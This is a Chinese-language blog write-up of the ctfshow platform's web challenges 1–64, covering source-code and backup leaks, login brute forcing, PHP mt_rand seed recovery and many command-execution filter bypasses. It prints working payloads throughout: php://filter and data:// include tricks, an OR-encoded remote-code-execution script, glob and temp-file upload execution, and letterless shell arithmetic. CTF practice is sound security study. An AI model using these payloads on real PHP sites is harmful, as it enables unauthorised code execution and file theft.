¶ 前言
这个web系列题是前些日子我随意逛逛的时候,在ctfshow平台上发现的,正好web太菜了,借由这个系列题开始自我修炼吧😖
¶ web1
右键查看源码就能看到flag
¶ web2
打开网页提示无法查看源代码,右键也使用不了,那我们就在url前面加上view-source:
1
view-source:http://83a83588-671e-4a94-9c6f-6857f9e20c2f.chall.ctf.show/
访问后即可获得flag
¶ web3
右键源码也没看到信息,去查看一下请求头和响应头,在响应头这里找到flag
¶ web4
题目提示robots,所以我们直接访问http://c6f215bf-6c3e-4a21-949b-1c37d603ca56.chall.ctf.show/robots.txt
然后根据提示,再访问flagishere.txt,即可得到flag
¶ web5
题目提示是phps源码泄露,于是在index.php后面加上s,即构造url如下
1
http://69ba9522-1aaf-4726-b2df-360c5c88d1ac.chall.ctf.show/index.phps
访问后弹出一个下载文件,下载后打开文件得到flag
¶ web6
题目提示www.zip源码泄露,于是构造url访问下载压缩包
1
http://da7afaa3-8d2b-4ae3-aa90-a0945c88ba15.chall.ctf.show/www.zip
在压缩包中有一个fl000g.txt文件,打开内容为:flag{flag_here},本来以为这是flag,然后提交错误了。接着访问
1
http://da7afaa3-8d2b-4ae3-aa90-a0945c88ba15.chall.ctf.show/fl000g.txt
得到正确的flag
¶ web7
根据提示,是个git泄露问题,访问.git/index.php即可,即构造url如下:
1
http://e85f4c26-faf9-4ace-a049-4f1b4587ad44.chall.ctf.show/.git/index.php
访问后就能得到flag
¶ web8
根据提示,本题考查的是svn泄露
SVN(subversion)是源代码版本管理软件。 在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。 在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
我们构造url访问,即可获得flag
1
http://a79a4695-f024-44dd-af3e-4eb6c2720be7.chall.ctf.show/.svn/
¶ web9
本题考查的是vim的缓存泄露
vim编辑文本时会创建一个临时文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。而本题的情景就是电脑死机了意外退出,导致存在临时文件
构造url如下,下载.swp后缀结尾的文件
1
http://0b4ba9f5-92a1-42fa-ba28-49cff3f8400e.chall.ctf.show/index.php.swp
打开文件即可获取flag
¶ web10
题目提示cookie,然后我们查看一下请求头,发现cookie数据为flag 我们解一下url编码,得到flag
¶ web11
根据提示,查询对ctfshow域名进行dns查询,查看TXT记录 阿里云查询链接:https://zijian.aliyun.com/ 获取flag成功
¶ web12
根据题目提示,我们访问robots.txt,获取到后台地址 然后我们访问一下后台
1
http://c25a456d-63f7-497e-9170-0365a9cdce53.chall.ctf.show/admin/
账号名直接盲猜admin,密码是网站底部的这串数字,372619038 登录进来后,获取到flag
¶ web13
在网站找到一个超链接 访问后,发现开发者在文档中写了自己的后台地址和账号密码 这里把your-domain换成自己的做题环境,访问后台地址
1
http://e63907cd-33af-4c57-b605-4f7e04928e43.chall.ctf.show/system1103/login.php
输入账号和密码后得到flag
¶ web14
打开网站,根据提示访问http://4696e930-9cb3-47fd-a00b-c671f82fe4a4.chall.ctf.show/editor/
看到一个编辑器,在flash的上传中,发现有个文件空间 点击文件空间,发现爆出了目录 找了找,flag在var/www/html/nothinghere/fl000g.txt中,于是构造url访问
1
http://4696e930-9cb3-47fd-a00b-c671f82fe4a4.chall.ctf.show/nothinghere/fl000g.txt
得到flag
¶ web15
根据题目提示邮箱,在网页底部发现一个邮箱 再url后面加上admin访问一下后台 有一个忘记密码选项,点击一下 有密保问题,联想到qq邮箱,搜索一下qq 得到地址为西安,于是提交西安 得到密码为admin7789,账号还是admin,登录后获得flag
¶ web16
根据题目提示,存在探针
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。是一个查看服务器信息的工具。 比如查看服务器支持什么,不支持什么,空间速度等等状况!
于是访问http://e42c0d7a-d052-485d-bb09-a7c68a6d0214.chall.ctf.show/tz.php
再点击phpinfo查看信息 在页面搜索一下ctfshow,即可得到flag
¶ web17
根据题目,查找ctfer.com的真实ip,于是用fofa查找 查到ip地址为:111.231.70.44,所以flag为:flag{111.231.70.44}
¶ web18
打开是一个游戏,我们去找找它的文件,在js中发现了当分数大于100时,赋值的一串编码 我们拿去unicode解码一下 根据提示,访问110.php,构造url
1
http://884e39f8-376a-4d61-9618-ee22fecc3327.chall.ctf.show/110.php
访问后得到flag
¶ web19
打开是一个登录框,右键查看一下源码 根据php源码,我们需要post发送用户名和密码过去
1 2 3
当用户名为admin 密码为a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04 即可输出flag
构造发送post请求 成功获取flag
¶ web20
根据题目提示,是mdb文件泄露
mdb文件是早期asp+access构架的数据库文件
于是我们访问/db/db.mdb,即构造url如下访问
1
http://5c070a5e-3a51-4904-a668-4385dfa7e714.chall.ctf.show/db/db.mdb
下载db.mdb文件后,用记事本打开搜索flag 成功获取到flag
¶ 爆破(21-28)
¶ web21
题目给了一个zip文件,打开后解压是爆破的字典,我们抓包一下网址看看 发现账号和密码都被base64了,我们发送到intruder模块,给爆破的位置加上$符圈住 去base64解码一下看看格式 格式是账号:密码,那我们使用custom iterator(自定义迭代器)模块,首先第一个放账号admin 第二个放符号:
第三个放题目给的字典 接着再进行base64编码,还有把后面这个url编码字符最好取消掉 然后就是attack开始爆破了 爆破出密码,成功获得flag
¶ web22
题目让我们去爆破ctfer.com域名,也就是去爆破子域名,直接上layer 爆破出有flag的子域名,访问后得到flag
¶ web23
打开看到php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
<?php error_reporting(0 ); include ('flag.php' );if (isset ($_GET['token' ])){ $token = md5($_GET['token' ]); if (substr($token, 1 ,1 )===substr($token, 14 ,1 ) && substr($token, 14 ,1 ) ===substr($token, 17 ,1 )){ if ((intval(substr($token, 1 ,1 ))+intval(substr($token, 14 ,1 ))+substr($token, 17 ,1 ))/substr($token, 1 ,1 )===intval(substr($token, 31 ,1 ))){ echo $flag; } } }else { highlight_file(__FILE__ ); } ?>
代码审计一下,输出flag需要满足两个条件
注意,编程中是从0为下标开始,第一位是第二个数字 第一,传入的token值经过md5加密后,第1位=第14位并且第14位=第17位 第二,第1位+第14位+第17位÷第1位等于第31位
根据源码改一下,写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php $dict = "0123456789qwertyuiopasdfghjklzxcvbnm" ; for ($i = 0 ;$i< 36 ;$i++){ for ($j = 0 ;$j<36 ;$j++){ $token = md5($dict[$i].$dict[$j]); if (substr($token, 1 ,1 )===substr($token, 14 ,1 ) && substr($token, 14 ,1 ) ===substr($token, 17 ,1 )){ if ((intval(substr($token, 1 ,1 ))+intval(substr($token, 14 ,1 ))+substr($token, 17 ,1 ))/substr($token, 1 ,1 )===intval(substr($token, 31 ,1 ))){ echo ("加密后的md5值为:" .$token)."\n" ; echo ("解密后的值为:" .$dict[$i].$dict[$j]); } } } }
python版本脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import hashliba = "0123456789qwertyuiopasdfghjklzxcvbnm" for i in a: for j in a: b = (str(i) + str(j)).encode("utf-8" ) m = hashlib.md5(b).hexdigest() if (m[1 :2 ] == m[14 :15 ] and m[14 :15 ] == m[17 :18 ]): if ((int(m[1 :2 ]) + int(m[14 :15 ]) + int(m[17 :18 ])) / int(m[1 :2 ])) == int(m[31 :32 ]): print(b)
运行后得到满足的值,即3j 于是构造url传参token=3j,获得flag
¶ web24
审计代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
error_reporting(0 ); include ("flag.php" );if (isset ($_GET['r' ])){ $r = $_GET['r' ]; mt_srand(372619038 ); if (intval($r)===intval(mt_rand())){ echo $flag; } }else { highlight_file(__FILE__ ); echo system('cat /proc/version' ); } ?>
发现其实这是伪随机数,因为mt_srang已经固定了,我们写个代码运行一下
1 2 3 4 5 6 7 8
<?php mt_srand(372619038 ); $result = intval(mt_rand()); echo $result;
得到1155388967,所以构成?r=1155388967即可获得flag
¶ web25
首先审计代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
<?php error_reporting(0 ); include ("flag.php" );if (isset ($_GET['r' ])){ $r = $_GET['r' ]; mt_srand(hexdec(substr(md5($flag), 0 ,8 ))); $rand = intval($r)-intval(mt_rand()); if ((!$rand)){ if ($_COOKIE['token' ]==(mt_rand()+mt_rand())){ echo $flag; } }else { echo $rand; } }else { highlight_file(__FILE__ ); echo system('cat /proc/version' ); }
这次种子没有给出,但发现一个关键地方,就是我们可以把传入的r设置为0,即?r=0,可以输出$rand的值,此时$rand=mt_rand()的值,也就是随机数的值 获得随机数为86715576,这个时候我们使用逆推工具尝试逆推出种子
1 2 3 4
工具地址:https://github.com/Al1ex/php_mt_seed git下载方式:git clone https://github.com/Al1ex/php_mt_seed 下载后命令行输入make然后回车编译出php_mt_seed文件
得到种子为4188754181,因为$_COOKIE[‘token’]的值要等于两个随机数相加,于是我们写个脚本
1 2 3 4 5 6 7 8 9 10
<?php mt_srand(4188754181 ); echo mt_rand()."\n" ;$result = mt_rand()+mt_rand(); echo $result;
得到token的值为2504830688
所以开始构造 第一个,构造?r=86715576,使得$rang=0,满足if((!$rand)),进入下一层if判断token的值 第二个,构造cookie头里的token=2504830688
成功拿到flag
¶ web26
打开页面,看到一个网站 右键查看源码,发现存在一个checkdb.php 照这个格式post发送数据,得到flag
¶ web27
打开依然是一个cms 点击录取名单,下载得到一份名单 发现身份证中间少了日期,继续回到页面,点击查询系统 需要输入姓名和身份证,我们现在有了姓名,身份证模糊,那进行抓包爆破 设置一下爆破身份证中的日期 爆破结果 解码一下 得到身份证号和学号,然后去首页登录一下,得到flag
¶ web28
打开页面,没发现什么有用的信息,但是观察到url有些奇怪 应该是爆破目录,抓包一下 两个payload都选择0到100进行爆破 在爆破结果中得到flag
¶ 命令执行(29-77&118-122&124)
¶ web29
源码
1 2 3 4 5 6 7 8 9
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag/i" , $c)){ eval ($c); } }else { highlight_file(__FILE__ ); }
首先先system(“ls”);查看一下文件 既然过滤了flag,那我们就fla*的形式进行匹配,结合tac命令输出flag.php文件内容
¶ web30
1 2 3 4 5 6 7 8 9
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php/i" , $c)){ eval ($c); } }else { highlight_file(__FILE__ ); }
这里把system命令给过滤了,不过有别的姿势,例如
还是使用通配符进行匹配,不过换了echo进行输出
¶ web31
1 2 3 4 5 6 7 8 9
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c)){ eval ($c); } }else { highlight_file(__FILE__ ); }
这里开始过滤了空格,本来我是使用%20编码绕过的不知道为什么不行(有点疑惑),然后就改用了%09
¶ web32
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c)){ eval ($c); } }
这次把反引号和echo都过滤了,不过还有新姿势,利用include函数(还有require也可以)
1 2 3
?c=include$_POST[a]?> post:a=php://filter/read=convert.base64-encode/resource=flag.php
把base64解码后即可得到flag
¶ web33
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c)){ eval ($c); } }
这次多过滤了双引号,继续使用上一题的payload
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
¶ web34
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c)){ eval ($c); } }
多过滤一个:号,还是可以使用上一题的payload
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
¶ web35
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c)){ eval ($c); } }
多过滤一个<号和一个=号,不过没有影响,继续使用前面的payload
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
¶ web36
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c)){ eval ($c); } }
这次增加过滤数字,但还是没有影响,继续使用前面payload
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
¶ web37
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag/i" , $c)){ include ($c); echo $flag; } }
换新题了,这次是使用了include语句,这里过滤了flag,我们采用伪协议data的方法进行绕过
1
?c=data:text/plain,<?=system("tac fla*");?>
¶ web38
1 2 3 4 5 6 7 8
error_reporting(0 ); if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|php|file/i" , $c)){ include ($c); echo $flag; } }
这次在前面基础上过滤了php和file,对我们无碍,因为我们使用的是php短标签,所以继续使用上面的payload
1
?c=data:text/plain,<?=system("tac fla*");?>
¶ web39
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag/i" , $c)){ include ($c.".php" ); } }
这次减少了过滤,但是会再后面加上.php的后缀,然而我们前面的payload结尾是有一个?>进行了标签闭合,所以?>.php没有影响,继续使用前面payload
1
?c=data:text/plain,<?=system("tac fla*");?>
¶ web40
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c)){ eval ($c); } }
这里回到eval语句执行命令,但过滤了许多东西,没有过滤掉英文的(),那我们使用无参数的rce进行构造读取文件
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
我们先打印出当前目录下的文件
1
?c=print_r(scandir(current(localeconv())));
读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组
each() 返回数组中当前的键/值对并将数组指针向前移动一步 end() 将数组的内部指针指向最后一个单元 next() 将数组中的内部指针向前移动一位 prev() 将数组中的内部指针倒回一位 array_reverse() 以相反的元素顺序返回数组
需要知识点齐了,观察flag.php在倒数第二位,我们开始构造
1
?c=show_source(next(array_reverse(scandir(getcwd()))));
¶ web41
1 2 3 4 5 6
if (isset ($_POST['c' ])){ $c = $_POST['c' ]; if (!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c)){ eval ("echo($c );" ); } }
过滤了数字和字母还有一些其他符号,但我们可以利用或运算符进行构造payload进行命令执行 思路:
通俗解释: 例如源码中禁止我们使用了数字3,也就是ascii码值为51,我们可以使用或运算符在没有被禁止的字符中构造出51来,比如19和32没有被禁止,我们进行或运算19|32=51,就可以获得51这个ascii码值,也就是成功得到了数字3
知道了方法后,我们从ascii码表,也就是0-255中找到没有被过滤的字符进行或运算,以寻求得到我们想要的字符 结合了yu师傅给出的exp,我们写一个独立的python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
import requestsimport urllibimport refrom sys import *if (len(argv)!=2 ): print("=" *50 ) print('USER:python exp.py <url>' ) print("eg: python exp.py http://ctf.show/" ) print("exit: input exit in function" ) print("=" *50 ) exit(0 ) url=argv[1 ] def write_rce (): result = '' preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-' for i in range(256 ): for j in range(256 ): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if k >= 32 and k <= 126 : a = '%' + hex(i)[2 :].zfill(2 ) b = '%' + hex(j)[2 :].zfill(2 ) result += (chr(k) + ' ' + a + ' ' + b + '\n' ) f = open('rce.txt' , 'w' ) f.write(result) def action (arg ): s1="" s2="" for i in arg: f=open("rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) def main (): write_rce() while True : s1 = input("\n[+] your function:" ) if s1 == "exit" : break s2 = input("[+] your command:" ) param=action(s1) + action(s2) data={ 'c' :urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n" +r.text) main()
运行后,输入命令得到flag 后来发现图片脚本名字打错了,是或运算噢,不要概念混淆了哈哈
¶ web42
1 2 3 4
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; system($c." >/dev/null 2>&1" ); }
这次后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null” 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
那么本文标题的语句执行过程为: 1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
也就是我们如果输入?c=ls
,输出就会被吞掉不进行回显,那该怎么办呢?其实很简单,用;
号或者||
等等一些命令分隔符进行命令分隔 payload如下:
¶ web43
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
在前面基础上过滤了cat和;号,我们使用其他命令分隔符即可
¶ web44
1 2 3 4 5 6
f(isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/;|cat|flag/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
把flag过滤了,相信如果你从前面做到现在,心中应该也知道怎么绕过了哈哈,使用通配符进行绕过
¶ web45
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| /i" , $c)){ system($c." >/dev/null 2>&1" ); } }
这次把空格也过滤了,ok,使用%09进行绕过,%09是tab的url编码
¶ web46
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
这次把数字都过滤了,还把通配符*
进行了过滤,我们可以改用?
进行匹配,同时空格的话还是可以继续使用%09,它不属于过滤的数字范畴
¶ web47
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
这次多过滤了几个读取文件的命令,但tac没有被过滤我们继续使用之前的payload
这里补充一下一些其他命令读取的操作
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep 1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
¶ web48
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
这次还是多过滤了一些读取的命令,tac没有被过滤,继续使用前面的payload
¶ web49
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
还是没有过滤tac,继续使用前面的payload
¶ web50
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
这次把%
进行了过滤,我们使用<>号进行绕过,这里通配符进行修改一下,<>和?一起没有显示出来,改用\
进行绕过,payload如下
¶ web51
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c)){ system($c." >/dev/null 2>&1" ); } }
这次对tac进行了过滤,我们可以用\
分割进行绕过,payload如下
¶ web52
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c)){ system($c." >/dev/null 2>&1" ); } }
这次过滤了尖括号,但放空了$
符给我们,所以payload如下
1
?c=ta\c${IFS}fla\g.php||
但emmm,好像flag改地方了 用ls找一下,发现在根目录 所以真正payload如下
1
?c=ta\c${IFS}../../../fla?||
¶ web53
1 2 3 4 5
if (!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c)){ echo ($c); $d = system($c); echo "<br>" .$d; }
这次好像只把后面的吞回显给去掉了,那我们去掉后面的||
即可,payload如下
¶ web54
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c)){ system($c); } }
这次过滤了好多字母,也不能会用\
的形式进行分割,但还有另一个读取的命令grep可以使用
grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来
所以我们可以构造payload如下,在flag.php中查找带有show字符串的一行(因为flag的格式为ctfshow{})
1
?c=grep${IFS}show${IFS}fl?g.php
¶ web55
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c)){ system($c); } }
这次把字母都给禁掉了,一般遇到这情况最容易想到的应该是进行异或运算等等办法进行构造,在这里他没有禁掉数字,我们有其他略微方便点的方法,就是通过匹配bin下存在的命令进行读取flag
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。 我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
这里没有禁用数字所以我们可以使用base64命令,构造如下
1
?c=/???/????64 ????.??? 也就是?c=/bin/base64 flag.php
再进行解码即可得到flag
¶ web56
1 2 3 4 5 6
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c)){ system($c); } }
这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。不过之前看过p师傅的一篇无字母数字webshell的文章,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?
进行匹配,即???/?????????
,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢? 在ascii码表中观察发现 在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件,我们可以去操作看看 在目录下新建一个f.txt,内容为ls,我们使用. /home/kali/ctf_tools/a/f.txt
来执行文件 发现f.txt里的ls命令被成功执行,所以我们的完整payload就是
1 2
?c=. /???/????????[@-[] 并且同时上传我们的文件,文件内容里面是命令
这里我们写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
import requestswhile True : url = "http://92a3d8ba-280b-4cb8-bd47-58b577bb6204.chall.ctf.show:8080/?c=. /???/????????[@-[]" r = requests.post(url, files={"file" : ("dota.txt" , "cat flag.php" )}) flag = r.text.split('ctfshow' ) if len(flag) >1 : print(r.text) break
运行完后成功获取到flag
¶ web57
1 2 3 4 5 6 7
if (isset ($_GET['c' ])){ $c=$_GET['c' ]; if (!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c)){ system("cat " .$c.".php" ); } }
这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$
和()
进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可
$(())
代表做一次运算,因为里面为空,也表示值为0$((~$(())))
对0作取反运算,值为-1$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36 写一个脚本进行构造
1 2
data = "$((~$((" +"$((~$(())))" *37 +"))))" print(data)
payload如下
1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
因为是cat命令,所以右键查看一下源码即可得到flag
¶ web58
1 2 3 4 5
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
额,突然变简单了,这里可以直接蚁剑连接进去查看flag了(后面其实都可以使用蚁剑直接连接getshell) 不过应该是考读取文件的,我们使用读取文件函数进行读取flag,payload如下
1
c=show_source("flag.php");
这里补充一些读取文件函数的用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
highlight_file($filename); show_source($filename); print_r(php_strip_whitespace($filename)); print_r(file_get_contents($filename)); readfile($filename); print_r(file($filename)); fread(fopen($filename,"r" ), $size); include ($filename); include_once ($filename); require ($filename); require_once ($filename); print_r(fread(popen("cat flag" , "r" ), $size)); print_r(fgets(fopen($filename, "r" ))); fpassthru(fopen($filename, "r" )); print_r(fgetcsv(fopen($filename,"r" ), $size)); print_r(fgetss(fopen($filename, "r" ))); print_r(fscanf(fopen("flag" , "r" ),"%s" )); print_r(parse_ini_file($filename));
¶ web59
1 2 3 4 5
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
代码没变,应该是开始禁用了一些函数,考点应该开始是绕disable_functions了,show_source()没有被禁,继续使用
1
c=show_source("flag.php");
¶ web60
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
show_source()没有被禁,继续使用
1
c=show_source("flag.php");
¶ web61
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
show_source()没有被禁,继续使用
1
c=show_source("flag.php");
¶ web62
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
show_source()没有被禁,继续使用
1
c=show_source("flag.php");
¶ web63
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
show_source()没有被禁,继续使用
1
c=show_source("flag.php");
¶ web64
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
